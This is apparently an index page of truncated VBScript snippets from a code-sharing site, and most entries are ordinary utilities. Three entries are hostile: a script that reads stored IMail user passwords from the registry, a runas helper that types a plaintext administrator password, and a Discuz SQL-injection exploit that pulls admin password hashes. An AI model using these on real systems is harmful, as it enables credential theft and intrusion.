• E is the base of natural logarithm e.vbs


    ‘e=1+1/1!+1/2!+1/3!+1/4!+……+1/n! ‘φkρ=αe Where α and K are constants, φ is the polar angle, ρ is the polar diameter, and E is the base of the natural logarithm. For the convenience of discussion, we define e as “the law of nature”. So the core of the law of nature is e, which is 2.71828 , is […]

  • Password decryption of VBS image


    Copy codeThe code is as follows: on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = “.” Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_ strComputer & “\root\default:StdRegProv”) strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains” oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo “Domain: “&subkey strKeyPath2 = strKeyPath&”\”&subkey&”\Users” oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&”\”&subkey2 strValueName = “Password” oReg.GetStringValue […]

  • VBS runas auto input password, clear text


    Copy codeThe code is as follows: Set Shell = CreateObject(“WScript.Shell”) Shell.Run “cmd /c @runas /user:administrator CMD” WScript.Sleep 2000 Shell.SendKeys “password{ENTER}exit{ENTER}” WScript.Sleep 1000 Shell.SendKeys “@echo off&cls&net stop messenger&net start messenger&exit{ENTER}” @echo off echo dim WshShell,cmd >> %3runas.vbs echo cmd=”%SystemRoot%\system32\cmd.exe” >> %3runas.vbs echo Set WshShell=WScript.CreateObject(“WScript.Shell”) >> %3runas.vbs echo WshShell.Run cmd >> %3runas.vbs echo WScript.Sleep 500 >> %3runas.vbs […]

  • The code of VBScript three numbers comparison


    Copy codeThe code is as follows: dim a,b,c A = InputBox (“please enter an integer of 0-99 and do not repeat, let alone use Chinese characters and letters”)B = InputBox (“please enter an integer of 0-99 and do not repeat, let alone use Chinese characters and letters”)C = InputBox (“please enter an integer of 0-99 […]

  • Script msagent component Microsoft Genie finds out the system’s own pet


    Copy codeThe code is as follows: ‘On Error Resume Next strAgentName = “Merlin” strAgentPath = “c:\windows\msagent\chars\” & strAgentName & “.acs” ScriptComplete=0 Set objAgent = WScript.CreateObject(“Agent.Control.2″,”agent_”) objAgent.Connected = True objAgent.Characters.Load strAgentName, strAgentPath Set objCharacter = objAgent.Characters(strAgentName) objCharacter.LanguageID = &H409 ‘objcharacter. Languageid = & h804’ menu is Chinese, but Microsoft did not develop Chinese voice objCharacter.MoveTo 0, […]

  • Introduction to the properties and methods of VBS Internet explorer.application


    Sample code Set ie = CreateObject(“InternetExplorer.Application”) ie.Navigate “//” Wscript.Sleep 1000 ie.Toolbar = 0 ie.visible=False ie.Document.f1.word.value = kw If ie.Document.f1.word.value=”” Then Wscript.Quit What do I see on the Internet? How do I use Navigation toolbar visible??How can’t I find their usage on the Internet?Here are some attribute descriptions: Set ie=WScript.CreateObject(“internetexplorer.application”) Ie.menubar = 0 ‘do not display […]

  • VBS lists the type, size, and owner of all files and folders in the directory


    Getowner.vbs usage: under the command line: getowner.vbs directory name will generate a txt.txt file in the corresponding directory, which lists the types, sizes, and owners of all files and folders in the directoryNote: the size is in MB. If it is less than 1MB, it will be displayed as 0MB, Here is the code: G […]

  • Code of VBS version of the safety assistant of the station master of leiketu (ASP Trojan search)


    Are used on the command lineAntiIframe.vbs #This script is the reverse of the batch mount program, which is used to batch clean up the malicious code added to the file. Notepad can be opened to modify the pattern parameter to specify the file name to be processed. The file names are separated by | (VBS […]

  • Discuz arbitrary administrator password vulnerability utility VBS code


    Also conducive to revisionThe following is the VBS version of the exploit code of file Copy codeThe code is as follows: Dim strUrl,strSite,strPath,strUid showB() Set Args = Wscript.Arguments If Args.Count <> 3 Then ShowU() Else strSite=Args(0) strPath=Args(1) strUid=Args(2) End If strUrl=”action=search&searchid=22%cf’ UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=” & strUid &”/*&do=submit” Set objXML = CreateObject(“Microsoft.XMLHTTP”) objXML.Open “POST”,strSite & […]

  • Add a website to a safe site. Set a safe site to prompt when opening ActiveX. VBS code for header and footer removal


    Copy codeThe code is as follows: ‘/*========================================================================= ‘* intro is mainly used to solve the problem of setting ie security when printing with WebBrowser‘* filename add a website to a safe site. Set a safe site to prompt when opening ActiveX. Go to header and footer.vbs‘ * Author yongfa365 ‘ * Version v1.0 ‘ * […]

  • Automatic folder backup


    Copy codeThe code is as follows: ‘/*========================================================================= ‘* the intro will automatically back up the folder to a new directory named after the time. After setting, it will be added to the startup item. As soon as the machine program is started, it will automatically run, accounting for no system resources‘ * FileName AutoBackUpFolder.VBS ‘ […]

  • IIS PHP installation script PHP install.vbs v3.1


    Copy codeThe code is as follows: ‘/*========================================================================= ‘* intro PHP installation script, all you need to do is to save this file and put it together with the PHP folder to be installed (do not put it under the root directory of Disk C)‘* (if the current version of php-5.2.5-win32 is other, please replace the […]